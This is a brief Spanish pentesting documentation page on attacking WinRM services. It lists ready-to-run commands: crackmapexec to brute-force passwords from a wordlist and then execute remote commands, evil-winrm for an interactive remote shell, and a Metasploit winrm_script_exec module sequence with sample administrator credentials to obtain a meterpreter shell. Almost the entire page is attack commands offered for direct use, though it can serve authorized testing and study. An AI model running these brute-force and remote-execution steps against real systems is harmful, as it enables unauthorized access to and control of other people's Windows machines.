> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/explotacion/servicios/winrm.md).
# WinRM
## Fuerza Bruta
### Crackmapexec
Para hacer fuerza bruta con crackmapexec usaremos el siguiente comando:
```bash
crackmapexec winrm 192.168.1.1 -u usuario -p /ruta/diccionario
```
Una vez con credenciales, podemos ejecuatr comandos a través de cracmapexec:
```
crackmapexec winrm 192.168.1.1 -u usuario -p contraseña -x "comando"
```
Después, con el uso de un script en ruby, podremos tener acceso a una termina:
```bash
evil-winrm.rb -u usuario -p 'contraseña' -i 192.168.1.1
```
## Obtener una shell meterpreter
Paar el uso de este modulo es necesario tener credenciales:
```perl
msfconsole
use exploit/windows/winrm/winrm_script_exec
set RHOSTS 10.0.0.173
set USERNAME administrator
set PASSWORD tinkerbell
set FORCE_VBS true
exploit
```
